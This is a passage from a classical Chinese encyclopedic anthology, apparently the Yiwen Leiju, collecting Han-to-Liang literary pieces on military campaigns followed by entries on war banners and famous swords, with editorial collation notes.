魏 阮 瑀 纪 征 赋 曰 . 仰 天 民 之 高 衢 兮 . 慕 在 昔 之 遐 轨 . 希 笃 圣 之 崇 纲 兮 . 惟 弘 哲 而 为 纪 . 同 天 工 而 人 代 兮 . 匪 贤 智 其 能 使 . 五 材 陈 而 并 序 . 静 乱 由 乎 干 戈 . 惟 蛮 荆 之 作 雠 . 将 治 兵 而 济 河 . 遂 临 河 而 就 济 . 瞻 禹 绩 之 茫 茫 . 距 疆 泽 以 潜 流 . 经 仑 之 高 冈 . 目 幽 蒙 以 广 衍 . 遂 沾 濡 而 难 量 .\n魏 陈 琳 武 军 赋 曰 . 赫 赫 哉 . 烈 烈 矣 . 于 此 武 军 . 当 天 符 之 佐 运 . 承 斗 刚 而 曜 震 . 汉 季 世 之 不 辟 . 青 龙 纪 乎 大 荒 . 熊 狼 竞 以 拏 攫 . 神 宝 播 乎 镐 京 . 于 是 武 臣 赫 然 . 飏 炎 天 之 隆 怒 . 叫 诸 夏 而 号 八 荒 . 尔 乃 拟 北 落 而 树 表 . 晞 垒 壁 以 结 营 . 百 校 罗 时 . 千 部 列 陈 . 弥 方 城 . 掩 平 原 . 于 是 启 明 戒 旦 . 长 庚 告 昏 . 火 烈 具 举 . 鼓 角 并 震 . 千 徒 从 唱 . 亿 夫 求 和 . 声 訇 隐 而 动 山 . 光 赫 弈 以 烛 夜 . 其 刃 也 则 楚 金 越 冶 . 棠 溪 名 工 . 清 坚 皓 锷 . 脩 刺 锐 锋 . 陆 陷 橤 犀 . 水 截 轻 鸿 . 铠 则 东 胡 阙 巩 . 百 炼 精 刚 . 函 师 振 旅 . 韦 人 制 缝 . 弩 则 幽 都 筋 骨 . 恒 山 干 . 通 肌 畅 骨 . 崇 缊 曲 烟 . 其 弓 则 乌 号 越 耗 . 繁 弱 角 端 . 象 弭 绣 质 . 哲 拊 文 身 . 矢 则 申 息 肃 慎 . 箘 空 疏 . 焦 铜 毒 铁 . 丽 毂 挞 辀 . 马 则 飞 云 绝 景 . 直 鬐 騧 . 驳 龙 紫 鹿 . 文 的 ● 鱼 . 若 乃 清 道 整 列 . 按 节 徐 行 . 龙 姿 凤 峙 . 灼 有 遗 英 .\n又 神 武 赋 曰 . 建 安 十 有 二 年 . 大 司 空 武 平 侯 曹 公 . 东 征 乌 丸 . 六 军 被 介 . 云 辎 万 乘 . 治 兵 易 水 . 次 于 北 平 . 可 谓 神 武 弈 弈 . 有 征 无 战 者 已 . 伫 盘 桓 以 淹 次 . 乃 申 命 而 后 征 . 觐 狄 民 之 故 土 . 追 大 晋 之 遐 踪 . 恶 先 縠 之 惩 寇 . 善 魏 绛 之 和 戎 . 受 金 石 而 弗 伐 . 盖 礼 乐 而 思 终 . 陵 九 城 而 上 济 . 起 齐 轨 乎 玉 绳 . 车 轩 辚 于 雷 室 . 骑 浮 厉 乎 云 宫 . 晖 曜 连 乎 白 日 . 旗 旐 继 于 电 光 . 旆 既 轶 乎 白 狼 . 殿 未 出 乎 卢 龙 . 威 凌 天 地 . 势 括 十 冲 . 单 鼓 未 伐 . 虏 已 溃 崩 . 克 俊 折 馘 首 . ○ 句 有 衍 文 . 枭 其 魁 雄 . 尔 乃 总 辑 瑰 珍 . 茵 毡 幕 幄 . 攘 璎 带 佩 . 不 饰 雕 琢 . 华 珰 玉 瑶 . 金 麟 互 琢 . 文 贝 紫 锳 . 缥 碧 玄 绿 . 黼 锦 缋 组 . 毼 皮 服 .\n魏 繁 钦 征 天 山 赋 曰 . 素 甲 玄 焰 . 皓 旰 流 光 . 左 骈 雄 戟 . 右 攒 干 将 . 彤 玈 朱 增 . 丹 羽 绛 房 . 望 之 妒 火 . 焰 夺 朝 阳 . 华 旗 翳 云 霓 . 聚 刃 曜 日 铓 . 于 是 轒 辒 云 趋 . 威 弧 雨 发 . 钲 鼓 雷 鸣 . 猛 火 风 烈 . 跃 刃 雾 散 . 虏 锋 摧 折 . 呼 吸 无 闻 . 丑 类 剥 灭 .\n魏 杨 脩 出 征 赋 曰 . 嗟 夫 吴 之 小 夷 . 负 川 阻 而 不 廷 . 肇 天 子 之 命 公 . 总 九 伯 而 是 征 . 整 三 军 而 饬 戒 . 殄 征 夫 而 叛 惊 . 舫 翼 华 以 鳞 集 . 苍 鹰 杂 以 星 陈 . 塞 川 原 而 上 下 . 敝 城 隍 而 无 垠 . 于 是 州 牧 覆 舟 . 水 衡 戒 事 . 饰 师 就 部 . 乃 讲 乃 试 . 信 大 海 之 可 横 . 焉 江 河 之 足 忌 . 公 命 临 淄 . 守 于 邺 都 . 侯 怀 大 舜 . 乃 号 乃 . 茂 国 事 之 是 勉 兮 . 叹 经 时 而 离 居 . 企 观 爱 之 偏 处 兮 . 独 搔 首 于 城 隅 .\n晋 陆 士 龙 南 征 赋 曰 . 大 安 二 年 八 月 . 奸 臣 羊 玄 之 皇 甫 商 . 敢 行 称 乱 . 大 将 军 敷 命 群 后 . 同 恤 社 稷 . 四 方 之 会 . 众 以 百 万 . 粤 十 月 . 军 次 于 朝 歌 . 讲 武 治 戎 . 以 观 兵 于 殿 墟 . 桓 桓 先 征 . 在 河 之 涘 . 顺 彼 长 道 . 悬 旌 千 里 . 美 王 师 之 遵 时 . 茂 七 德 而 发 止 . 尔 乃 税 驾 殷 墟 . 我 徒 既 闲 . 顺 时 讲 武 . 薄 狩 于 原 . 纷 同 方 而 类 聚 . 焕 制 翼 而 明 分 . 祗 明 形 以 誓 众 . 习 运 攻 于 旧 闻 . 若 溟 海 之 引 回 流 . 岱 灵 之 吐 行 云 .\n宋 傅 亮 征 思 赋 曰 . 逢 休 明 之 余 佑 . 托 菲 薄 于 末 晖 . 既 致 戎 于 皇 幄 . 亦 彼 已 于 宰 闱 . 伤 鹈 梁 以 载 扬 . 咏 伐 檀 而 屡 思 . 和 风 翕 以 首 节 . 零 雨 郁 而 四 漾 . 津 云 暧 以 合 体 . 坟 衍 杳 其 无 封 . 羡 归 飞 之 能 矫 . 乐 湍 流 之 自 东 . 想 和 銮 之 北 徂 . 企 云 旗 之 西 举 . 洒 三 川 之 积 尘 . 廓 二 崤 之 重 阻 . 觌 高 掌 于 华 阳 . 聆 鸣 凤 于 洛 浦 .\n宋 谢 灵 运 撰 征 赋 曰 . 相 国 宋 公 . 兵 于 京 甸 . 次 师 于 汴 上 . 曾 不 逾 月 . 二 方 献 捷 . 天 子 感 东 山 之 劬 劳 . 使 臣 遵 于 原 隰 . 余 摄 官 承 乏 . 谬 充 殊 役 . 遂 写 集 闻 见 . 作 赋 撰 征 . 惟 上 相 之 叡 哲 . 当 草 昧 而 经 纶 . 总 九 流 以 贞 观 . 协 五 材 而 平 分 . 龟 筮 允 臧 . 人 鬼 同 情 . 顺 天 行 诛 . 司 典 详 刑 . 迅 二 翼 以 鱼 丽 . 襄 两 服 而 雁 逝 . 阵 未 列 于 都 甸 . 威 以 振 于 秦 蓟 . 诏 微 臣 以 劳 问 . 奉 王 命 于 河 湄 . 夕 饮 饯 以 俶 装 . 旦 出 宿 而 言 辞 . 冒 沉 云 之 晻 蔼 . 迎 素 雪 之 纷 霏 . 眷 转 蓬 之 辞 根 . 悼 朔 雁 之 起 越 . 彼 微 物 之 疚 情 . 此 思 心 而 可 歇 .\n梁 沈 约 悯 国 赋 曰 . 余 生 平 之 无 立 . 徒 跅 弛 以 自 闲 . 处 围 城 之 惵 惵 . 得 无 用 于 行 闲 . 对 僚 友 而 不 怡 . 咸 悄 颜 而 相 顾 . 畏 高 冲 之 比 拟 . 壮 激 矢 之 南 度 . 骇 潜 师 之 夜 过 . 惊 跃 马 之 晨 呼 . 矛 森 森 而 密 竖 . 旗 落 落 而 疏 布 . 时 难 纷 其 未 已 . 岁 功 迫 其 将 徂 . 育 素 虮 于 玄 胄 . 垂 葆 发 于 缦 胡 .\n【 颂 】 汉 杨 雄 赵 充 国 颂 曰 . 明 灵 惟 宣 . 戎 有 先 零 . 先 零 猖 狂 . 侵 汉 西 疆 . 既 临 其 域 . 喻 以 威 德 . 有 守 矜 功 . 谓 之 弗 克 . 请 奋 其 旅 . 于 罕 之 羌 . 天 子 命 我 . 从 之 鲜 阳 . 营 平 守 节 . 屡 奏 封 章 . 料 敌 制 胜 . 威 谋 靡 亢 . 遂 克 西 戎 . 还 师 于 京 . 鬼 方 宾 服 . 罔 有 不 庭 .\n汉 史 岑 出 师 颂 曰 . 茫 茫 上 天 . 降 祚 有 汉 . 兆 基 开 业 . 人 神 攸 赞 . 五 曜 宵 映 . 素 灵 夜 叹 . 昔 在 孟 津 . 惟 师 尚 父 . 素 旄 一 麾 . 混 齐 天 宇 . 苍 生 更 始 . 朔 风 变 楚 . 我 出 我 师 . 于 彼 四 疆 . 天 子 饯 我 . 辂 车 乘 黄 . 言 念 伯 舅 . 恩 深 渭 阳 .\n后 汉 班 固 窦 将 军 北 征 颂 曰 . 于 是 雷 震 九 里 . 电 曜 高 阙 . 金 光 镜 野 . 武 旗 冒 日 . 云 黯 长 霓 . 鹿 走 黄 碛 . 轻 选 四 纵 . 所 从 英 敌 .\n后 汉 傅 毅 窦 将 军 北 征 颂 曰 . 建 ○ 全 后 汉 文 四 十 三 作 逮 . 汉 祖 之 龙 兴 . 荷 天 符 而 用 师 . 曜 神 武 于 幽 冀 . 遇 白 登 之 重 围 . 何 獯 鬻 之 桀 虐 . 自 上 世 而 不 羁 . 哀 昏 戾 之 习 性 . 阻 广 汉 之 荒 垂 . 命 窦 侯 之 征 讨 . 蹑 卫 霍 之 遗 风 . 奉 圣 皇 之 明 策 . 奋 无 前 之 严 锋 . 采 伊 吾 之 城 壁 . 蹈 天 山 而 遥 降 . 曝 名 烈 于 禹 迹 . 奉 旗 鼓 而 来 旋 . 圣 上 嘉 而 裒 宠 . 典 禁 旅 之 戎 兵 . 内 雍 容 以 询 谟 . 外 折 冲 于 无 形 . 惟 倜 傥 以 弘 远 . 委 精 虑 于 朝 廷 .\n晋 张 载 平 吴 颂 曰 . 闻 之 前 志 . 尧 有 丹 水 之 阵 . 舜 有 三 苗 之 诛 . 此 圣 帝 明 王 . 平 暴 静 乱 . 未 有 不 用 兵 而 制 之 也 . 夫 太 上 成 功 . 非 颂 不 显 . 情 动 于 中 . 非 言 不 彰 . 猃 狁 既 攘 . 出 车 以 兴 . 淮 夷 既 平 . 江 汉 用 作 . 斯 故 先 典 之 明 志 . 不 刊 之 美 事 . 乌 可 阙 欤 . 遂 作 颂 曰 . 上 哉 仁 圣 . 曰 惟 皇 晋 . 光 泽 四 表 . 继 天 垂 胤 . 帝 道 焕 于 唐 尧 . 义 声 邈 乎 虞 舜 . 蠢 尔 鲸 吴 . 凭 山 阻 水 . 肆 虐 播 毒 . 而 作 豺 虺 . 菁 茅 阙 而 不 贡 . 越 裳 替 其 白 雉 . 正 九 伐 之 明 典 . 申 号 令 之 旧 章 . 布 亘 地 之 长 罗 . 振 天 网 之 脩 纲 . 制 征 期 于 一 朝 . 并 箕 驱 而 慕 张 . 尔 乃 拔 丹 阳 之 峻 壁 . 屠 西 陵 之 高 墉 . 日 不 移 晷 . 群 丑 率 从 . 望 会 稽 而 振 铎 . 临 吴 地 而 奋 旅 . 众 军 竞 趣 . 烽 飙 具 举 . 挫 其 轻 锐 . 走 其 守 御 .\n【 表 】 北 齐 邢 子 才 百 官 贺 平 石 头 表 曰 . 大 江 设 隘 . 实 限 夷 华 . 前 魏 观 涛 而 退 . 后 魏 登 山 而 反 . 声 教 不 通 . 多 历 年 代 . 今 苍 雉 奉 职 . 灵 鼍 自 梁 . 折 苇 为 舟 . 凭 刀 可 渡 . 始 知 德 通 于 物 . 孟 门 失 险 . 道 清 将 顺 . 剑 阁 自 开 . 行 举 洞 庭 之 乐 . 放 畜 长 洲 之 苑 . 会 玉 帛 于 涂 山 . 树 桐 柱 于 南 极 .\n梁 刘 孝 仪 临 川 王 奉 诏 班 师 表 曰 . 臣 自 受 服 庙 堂 . 申 威 塞 表 . 既 驱 熊 罴 之 众 . 兼 禀 帷 幄 之 谋 . 登 济 河 山 . 夷 灭 赵 魏 . 将 系 轵 在 之 颈 . 且 屈 渭 桥 之 膝 . 而 玄 阴 届 节 . 祁 寒 方 始 . 降 此 慈 弘 . 愍 兹 介 胄 . 使 燕 然 之 石 . 愿 勒 而 不 刊 . 函 谷 之 士 . ○ 疑 当 作 土 . 将 封 而 莫 遂 . 虽 荷 杕 杜 之 恩 . 终 惭 采 薇 之 旨 .\n周 庾 信 庆 平 邺 表 曰 . 臣 闻 太 山 梁 甫 以 来 . 即 有 七 十 二 代 . 龙 图 龟 书 之 后 . 又 已 三 千 余 年 . 虽 复 制 法 树 司 . 礼 殊 乐 异 . 至 于 天 篱 武 落 . 剡 木 弦 弧 . 席 卷 天 下 之 心 . 苞 吞 八 荒 之 志 . 其 揆 一 焉 . 政 须 东 南 一 尉 . 立 于 北 景 之 南 . 西 北 一 候 . 置 于 交 河 之 北 .\n【 启 】 齐 王 融 答 敕 撰 汉 武 北 伐 图 赋 启 曰 . 臣 闻 情 蓄 自 中 . 事 符 则 感 . 象 构 于 始 . 机 动 斯 彰 . 但 九 祀 一 逢 . 休 明 难 再 . 常 愿 待 诏 朱 阙 . 俯 对 青 蒲 . 澄 瀚 海 之 恒 流 . 扫 狼 山 之 积 雾 . 系 单 于 之 颈 . 屈 左 贤 之 膝 . 然 后 天 移 云 动 . 升 封 岱 宗 . 减 五 登 三 . 追 踪 七 十 .\n又 劝 高 帝 北 伐 启 曰 . 虽 穷 鸟 必 啄 . 固 等 命 于 良 鹑 . 困 兽 斯 惊 . 终 并 悬 于 厨 鹿 . 若 籍 巫 汉 之 归 师 . 骋 士 卒 之 余 愤 . 取 函 河 如 反 掌 . 凌 关 塞 若 摧 枯 .\n梁 简 文 帝 庆 洛 阳 平 启 曰 . 自 函 洛 榛 旷 . 獯 猃 荐 食 . 久 绝 正 朔 之 风 . 不 睹 輶 轩 之 使 . 乘 此 战 心 . 负 斯 戎 足 . 每 兴 燔 燧 之 惊 . 常 劳 守 障 之 民 . 自 非 圣 略 弘 宣 . 天 网 遐 顿 . 岂 能 使 汉 地 尽 收 . 名 王 争 入 . 方 令 九 服 大 同 . 万 邦 齐 轨 . 亭 塞 寝 兵 . 关 候 罢 柝 . 臣 诚 兼 家 国 . 倍 深 欢 庆 .\n梁 刘 孝 绰 求 豫 北 伐 启 曰 . 或 以 臣 素 无 飞 将 之 目 . 未 从 嫖 姚 之 伍 . 言 易 行 难 . 收 功 理 绝 . 然 桓 冲 称 谢 安 无 将 略 . 文 靖 公 遂 破 符 坚 . 山 涛 谓 羊 祜 不 强 . 建 成 侯 卒 平 孙 皓 . 微 臣 之 譬 两 贤 . 诚 无 等 级 . 小 虏 之 方 二 寇 . 势 逾 枯 朽 .\n【 笺 】 晋 陆 机 至 洛 与 成 都 王 笺 曰 . 王 室 多 故 . 祸 难 荐 有 . 羊 玄 之 乘 宠 凶 竖 . 专 记 朝 政 . 奸 臣 贼 子 . 是 为 比 周 . 皇 甫 商 同 恶 相 求 . 共 为 乱 阶 . 至 令 天 子 飘 飖 . 甚 于 赘 瘤 . 伏 惟 明 公 . 匡 济 之 举 . 义 命 方 宣 . 先 戎 既 启 . 威 风 电 赫 . 机 以 驽 暗 . 文 武 寡 施 . 猥 蒙 横 授 . 委 任 外 梱 . 辄 承 严 教 . 董 率 诸 军 . 唯 力 是 视 .\n晋 桓 温 与 抚 军 笺 曰 . 北 胡 肆 逆 . 四 十 余 载 . 倾 覆 社 稷 . 毁 辱 陵 庙 . 遇 其 可 亡 之 会 . 实 是 君 子 竭 诚 . 小 人 尽 力 之 日 也 . 江 东 虽 为 未 丰 . 方 之 古 人 . 复 为 未 俭 . 少 康 以 一 旅 之 众 . 兴 复 祖 宗 . 光 武 奋 发 . 中 兴 汉 室 . 况 以 大 晋 之 祚 . 树 德 长 久 . 兼 百 越 沃 野 之 资 . 据 江 汉 山 海 之 利 . 盐 铁 宝 帛 之 饶 . 角 竿 羽 毛 之 用 . 收 英 贤 之 略 . 尽 兵 民 之 力 . 赋 之 强 也 . 犹 复 遵 养 时 晦 . 及 其 毙 也 . 不 齐 力 扫 灭 . 则 犬 贼 何 由 而 自 平 . 大 耻 焉 得 而 自 雪 . 临 纸 惆 怅 . 慨 叹 盈 怀 .\n【 书 】 魏 陈 思 王 曹 植 与 司 马 仲 达 书 曰 . 今 贼 徒 欲 保 江 表 之 城 . 守 区 区 之 吴 尔 . 无 有 争 雄 于 宇 内 . 角 胜 于 平 原 之 志 也 . 故 其 俗 盖 以 洲 渚 为 营 壁 . 江 淮 为 城 堑 而 已 . 若 可 得 挑 致 . 则 吾 一 旅 之 卒 . 足 以 敌 之 矣 . 盖 弋 鸟 者 矫 其 矢 . 钓 鱼 者 理 其 纶 . 此 皆 度 彼 为 肤 . 因 象 设 宜 者 也 . 今 足 下 曾 无 矫 矢 理 纶 之 谋 . 徒 欲 候 其 离 舟 . 伺 其 登 陆 . 乃 图 并 吴 会 之 地 . 收 陈 野 之 民 . 恐 非 主 上 授 节 将 之 心 也 .\n梁 简 文 帝 答 湘 东 王 庆 州 牧 书 曰 . 虽 心 慕 子 文 . 申 威 涿 郡 . 意 存 士 雅 . 慷 慨 临 江 . 而 不 能 遂 封 狼 居 之 山 . 永 空 幕 南 之 地 . 逐 北 聊 城 . 追 奔 瀚 海 . 必 欲 卷 绶 避 贤 . 辞 病 收 迹 .\n【 论 】 汉 吾 丘 寿 王 骠 骑 论 功 论 曰 . 骠 骑 将 军 霍 去 病 . 征 匈 奴 . 立 克 胜 之 功 . 寿 王 作 士 大 夫 之 论 . 称 武 帝 之 德 曰 . 士 或 问 于 大 夫 曰 . 侧 闻 强 秦 之 用 兵 也 . 南 不 逾 五 岭 . 北 不 渡 大 河 . 海 内 愁 怨 . 以 丧 其 国 . 汉 兴 六 十 余 载 矣 . 命 将 帅 以 抗 愤 . 用 干 戈 于 四 荒 . 南 排 朱 崖 . 北 建 朔 方 . 东 越 沧 海 . 西 极 河 源 . 拓 地 万 里 . 海 内 晏 然 . 鄙 人 不 识 . 敢 问 其 踪 . 大 夫 曰 . 昔 秦 之 得 天 下 也 . 以 力 而 不 以 德 . 以 诈 而 不 以 诚 . 内 用 商 鞅 李 斯 之 谋 . 外 用 白 起 王 剪 之 兵 . 窥 闲 伺 隙 . 既 并 海 内 之 后 . 以 威 力 为 至 道 . 以 权 诈 为 要 术 . 遂 非 唐 笑 虞 . 绝 灭 旧 章 . 防 禁 文 学 . 行 是 古 之 戮 . 严 诽 谤 之 诛 . 十 余 年 . 遂 滂 沱 而 盈 溢 . 是 故 皇 天 疾 灭 . 更 命 大 汉 . 反 秦 政 . 务 在 敦 厚 . 至 今 六 世 . 可 谓 富 安 . 天 子 文 明 . 四 夷 向 风 . 徒 观 朝 廷 下 僚 . 门 户 之 士 . 谋 如 涌 泉 . 动 如 骇 机 . 皆 能 安 中 国 . 吞 四 夷 . 君 臣 若 兹 . 何 虑 而 不 成 . 何 征 而 不 克 . 虽 拔 泰 山 填 沧 海 可 也 .\n魏 王 粲 三 辅 论 曰 . 湘 潜 先 生 . 江 滨 逸 老 . 将 集 论 云 梦\n. 玄 公 豫 焉 . 先 生 称 曰 . 盖 闻 戎 不 可 动 . 兵 不 可 扬 . 今\n刘 牧 建 德 垂 芳 . 名 烈 既 彰 矣 . 曷 乃 称 兵 举 众 . 残 我 ● 零\n. 逸 老 曰 . 是 何 言 与 . 天 生 五 材 . 金 作 明 威 . 长 沙 不 轨\n. 敢 作 乱 违 . 我 牧 睹 其 然 . 乃 赫 尔 发 愤 . 且 上 征 下 战 .\n去 暴 举 顺 . 州 牧 之 兵 . 建 拂 天 之 旌 . 鸣 振 地 之 鼓 . 玄 胄\n曜 日 . 犀 甲 如 堵 . 以 此 众 战 . 孰 能 婴 御 . 刘 牧 之 懿 . 子\n又 未 闻 乎 . 履 道 怀 智 . 休 迹 显 光 . 洒 扫 群 虏 . 艾 拨 秽 荒\n. 走 袁 术 于 西 境 . 馘 射 贡 乎 武 当 . 遏 孙 坚 于 汉 南 . 追 杨\n定 于 析 商 .\n又 曰 . 将 军 出 兵 . 有 所 讨 伐 . 引 兵 出 城 门 . 望 见 白 云 及 白 水 者 . 举 白 牙 旗 . 五 色 牙 旗 . 随 天 气 四 时 .\n魏 志 曰 . 典 韦 初 为 张 邈 士 属 . 赵 宠 牙 门 长 大 . 莫 能 胜 . 韦 一 手 建 之 . 宠 异 才 力 .\n吴 志 曰 . 陆 逊 为 右 部 督 . 会 丹 阳 贼 帅 费 栈 . 扇 动 山 越 . 权 遣 逊 讨 栈 . 栈 支 党 多 . 所 往 兵 少 . 逊 乃 益 施 牙 幢 . 分 付 鼓 角 . 夜 潜 出 谷 闲 . 鼓 噪 而 前 . 应 即 破 散 .\n抱 朴 子 曰 . 军 所 始 举 牙 立 旗 . 风 气 和 调 . 幡 校 飘 飘 . 终 日 不 息 者 . 其 军 有 功 .\n【 赋 】 吴 胡 综 大 牙 赋 曰 . 黄 初 八 年 . 黄 龙 见 夏 口 . 孙 权 称 号 . 因 瑞 改 元 . 作 黄 龙 大 牙 . 常 在 军 中 . 进 退 视 其 所 向 . 命 综 为 赋 曰 . 狼 狐 ○ 初 学 记 二 十 二 作 弧 . 垂 蒙 . ○ 初 学 记 作 象 . 太 平 御 览 三 百 三 十 九 作 曜 . 实 惟 兵 精 . 圣 人 观 法 . 是 效 是 营 . 始 作 器 械 . 爰 求 厥 成 . 明 明 大 吴 . 实 天 生 德 . 仍 律 天 时 . 制 其 神 军 . 取 象 太 一 . 五 将 三 门 . 疾 则 如 电 . 迟 则 如 云 . 进 止 有 度 . 约 而 不 烦 . 四 灵 既 布 . 黄 龙 处 中 . 周 制 日 月 . 实 曰 太 常 . 杰 然 特 立 . 六 军 四 望 .\n【 祭 文 】 后 汉 滕 辅 祭 牙 文 曰 . 恭 羌 太 守 . ○ 初 学 记 二 十 二 作 恭 脩 太 牢 . 太 平 御 览 三 百 三 十 九 作 恭 羞 太 牢 . 此 讹 . 洁 荐 遐 灵 . 推 毂 之 任 . 实 讨 不 庭 . 天 道 助 顺 . 正 直 聪 明 .\n晋 袁 宏 祭 牙 文 曰 . 天 生 五 材 . 治 道 所 司 . 废 一 不 可 . 静 乱 辅 时 .\n晋 顾 恺 之 祭 牙 文 曰 . 维 某 年 某 月 日 . 录 尚 书 事 豫 章 公 裕 . 敢 告 黄 帝 蚩 尤 五 兵 之 灵 . 两 仪 有 政 . 四 海 有 王 . 奉 命 在 天 . 世 德 重 光 . 烈 烈 高 牙 . 阗 阗 伐 鼓 . 白 气 经 天 . 简 扬 神 武 .\n宋 王 诞 伐 广 固 祭 牙 文 曰 . 敬 建 崇 牙 . 显 兹 威 灵 . 使 鸣 金 辍 衅 . 无 战 有 宁 . 皇 风 幽 被 . 凯 旆 归 旌 .\n宋 郑 鲜 祭 牙 文 曰 . 洁 牲 先 事 . 荐 兹 敬 祭 . 崇 牙 既 建 .\n义 锋 增 厉 . 人 鬼 一 揆 . 三 才 同 契 . 惟 兹 灵 鉴 . 庶 必 有 察\n. 逆 顺 幽 辩 . 忠 孝 显 节 . 使 凶 丑 时 歼 . 主 宁 臣 悦 . 振 旅\n上 京 . 凯 归 西 蕃 . 神 器 增 晖 . 四 境 永 安 .\n韵 集 曰 . 镡 . 剑 口 也 .\n字 林 曰 . 瑑 . 剑 鼻 也 .\n龙 鱼 河 图 曰 . 流 州 在 西 海 中 . 上 多 积 石 . 名 为 昆 吾 石 . 治 其 石 成 铁 . 作 剑 . 光 明 四 照 . 洞 如 水 精 . 事 具 地 部 石 篇 .\n又 曰 . 剑 名 飞 扬 . 管 子 曰 . 葛 天 卢 之 山 . 发 而 出 金 . 蚩 尤 受 而 制 之 . 以 为 剑 铠 矛 戟 .\n山 海 经 注 曰 . 汲 郡 冢 中 . 得 铜 剑 一 枚 . 长 三 尺 五 寸 . 今 所 名 干 将 剑 . 明 古 者 通 以 锡 铜 为 兵 器 .\n又 曰 . 君 子 之 国 . 其 人 衣 冠 带 剑 . 事 具 人 部 让 篇 .\n周 官 曰 . 郑 之 刀 . 宋 之 斤 . 鲁 之 削 . 吴 越 之 剑 . 迁 乎 其 地 而 不 能 为 良 . 地 气 然 也 .\n管 子 曰 . 羽 剑 珠 饰 者 . 斩 生 之 斧 也 .\n吴 越 春 秋 曰 . 越 王 允 常 . 聘 区 冶 子 作 名 剑 五 枚 . 一 曰 纯 钩 . 二 曰 湛 卢 . 三 曰 豪 曹 . 或 曰 盘 郢 . 四 曰 鱼 肠 . 五 曰 巨 阙 . 秦 客 薛 烛 善 相 剑 . 王 取 纯 钩 示 之 . 薛 烛 矍 然 望 之 曰 . 沉 沉 如 芙 蓉 始 生 于 湖 . 观 其 文 . 如 列 星 之 行 . 观 其 光 . 如 水 之 溢 塘 . 观 其 文 色 . 涣 涣 如 冰 将 释 . 见 日 之 光 . 王 曰 . 客 有 卖 此 剑 者 . 有 市 之 乡 三 十 . 骏 马 千 疋 . 千 户 之 都 二 . 其 可 与 乎 . 薛 烛 曰 . 不 可 . 臣 闻 王 之 造 此 剑 . 赤 堇 之 山 . 破 而 出 锡 . 若 耶 之 溪 . 涸 而 出 铜 . 吉 日 良 时 . 雨 师 洒 道 . 雷 公 发 鼓 . 蛟 龙 捧 鑪 . 天 帝 壮 炭 . 太 一 下 观 . 于 是 区 冶 子 因 天 地 之 精 . 造 为 此 剑 . 取 湛 卢 视 之 . 薛 烛 曰 . 善 哉 . 衔 金 铁 之 英 . 奇 ○ 初 学 记 二 十 二 作 寄 . 气 托 灵 . 服 此 剑 者 . 可 以 折 冲 伐 敌 . 人 君 有 逆 谋 则 去 之 . 允 常 以 鱼 肠 湛 卢 豪 曹 献 吴 王 僚 . 后 阖 闾 为 一 女 . 杀 生 以 送 死 . 湛 卢 之 剑 恶 其 无 道 . 乃 去 如 楚 . 昭 王 寐 而 得 之 . 召 风 胡 子 问 之 . 此 剑 直 几 何 . 对 曰 . 赤 堇 之 山 已 合 . 若 耶 之 溪 . 深 而 不 测 . 群 神 一 ○ 太 平 御 览 三 百 四 十 三 作 上 . 天 . 区 冶 子 已 死 . 虽 有 倾 城 量 金 珠 玉 . 犹 不 可 与 . 况 骏 马 万 户 之 都 乎 .\n越 绝 书 曰 . 楚 王 召 风 湖 子 而 问 之 曰 . 寡 人 闻 吴 有 干 将 . 越 有 区 冶 子 . 寡 人 愿 请 此 二 人 作 铁 剑 . 乃 令 风 湖 子 之 吴 . 见 区 冶 子 干 将 . 使 之 作 为 铁 剑 . 曰 泰 阿 . 晋 郑 闻 而 求 之 . 不 得 . 兴 师 围 楚 . 于 是 王 引 泰 阿 之 剑 . 登 城 而 麾 之 . 三 军 破 败 . 士 卒 迷 惑 . 流 血 千 里 . 江 水 抑 扬 . 折 晋 郑 之 头 毕 日 . ○ 太 平 御 览 三 百 四 十 三 作 白 .\n列 子 曰 . 卫 孔 周 . 其 祖 得 殷 帝 之 宝 剑 . 童 子 服 之 . 却 三 军 之 众 . 其 一 曰 含 光 . 视 之 不 可 见 . 运 之 不 知 其 所 触 . 泯 然 无 际 . 经 物 而 物 不 觉 . 二 曰 承 影 . 将 旦 昧 爽 之 交 . 日 夕 昏 明 之 际 . 北 面 察 之 . 淡 焉 若 有 物 在 . 莫 识 其 状 . 其 触 物 也 . 寂 无 有 声 . 而 物 不 疾 . 三 曰 霄 练 . 方 昼 . 见 其 影 . 不 见 光 . 驴 ○ 字 衍 . 騞 然 而 过 . 随 合 . 觉 疾 而 不 血 刃 . 此 三 宝 传 之 十 三 世 矣 .\n又 曰 . 宋 王 有 兰 子 者 . 以 技 干 宋 元 君 . 弄 七 剑 . 迭 跃 之 . 五 剑 常 在 空 中 . 元 君 大 惊 . 立 赐 金 帛 .\n又 曰 . 周 穆 王 征 西 戎 . 西 戎 献 昆 吾 之 剑 . 赤 刃 . 切 玉 如 泥 .\n庄 子 曰 . 昔 赵 文 王 喜 剑 . 庄 子 曰 . 臣 闻 大 王 喜 剑 . 臣 有 三 剑 . 惟 王 所 用 . 有 天 子 剑 . 有 诸 侯 剑 . 有 庶 人 剑 . 天 子 之 剑 . 以 燕 溪 石 城 为 锋 . 齐 代 为 锷 . 晋 卫 为 脊 . 周 宋 为 镡 . 韩 魏 为 铗 . 统 以 渤 海 . 带 以 常 山 . 此 剑 一 用 . 匡 诸 侯 . 天 下 服 矣 . 诸 侯 之 剑 . 以 智 勇 士 为 锋 . 以 精 廉 士 为 锷 . 以 贤 良 士 为 脊 . 以 忠 圣 士 为 镡 . 以 豪 杰 为 铗 . 此 剑 一 用 . 如 雷 霆 之 震 也 . 庶 人 之 剑 . 蓬 头 突 鬓 . 垂 冠 曼 胡 之 缨 . 短 后 之 衣 . 瞋 目 而 语 难 . 相 击 于 前 . 此 无 异 斗 鸡 . 一 旦 命 以 绝 矣 . 今 大 王 有 天 子 之 位 . 而 好 庶 人 之 剑 . 臣 窃 为 大 王 薄 之 .\n孙 卿 子 曰 . 桓 公 之 慈 . 太 公 之 阙 . 文 王 之 琢 . 庄 君 之 忽 . 阖 闾 子 干 将 莫 耶 . 巨 阙 辟 闾 . 皆 古 良 剑 也 .\n尸 子 曰 . 水 试 断 鹄 雁 . 陆 试 断 牛 马 . 所 以 观 良 剑 也 .\n吕 氏 春 秋 曰 . 楚 人 有 涉 江 者 . 其 剑 自 舟 中 坠 于 水 . 遂 刻 其 舟 曰 . 是 吾 剑 之 所 从 坠 也 . 舟 止 . 从 其 所 契 刻 者 入 水 求 之 . 舟 已 行 矣 . 而 剑 不 行 . 求 剑 若 此 . 不 亦 惑 乎 .\n又 曰 . 荆 有 佽 飞 者 . 得 宝 剑 于 江 干 . 遂 还 反 . 涉 江 至 于 中 流 . 而 两 蛟 夹 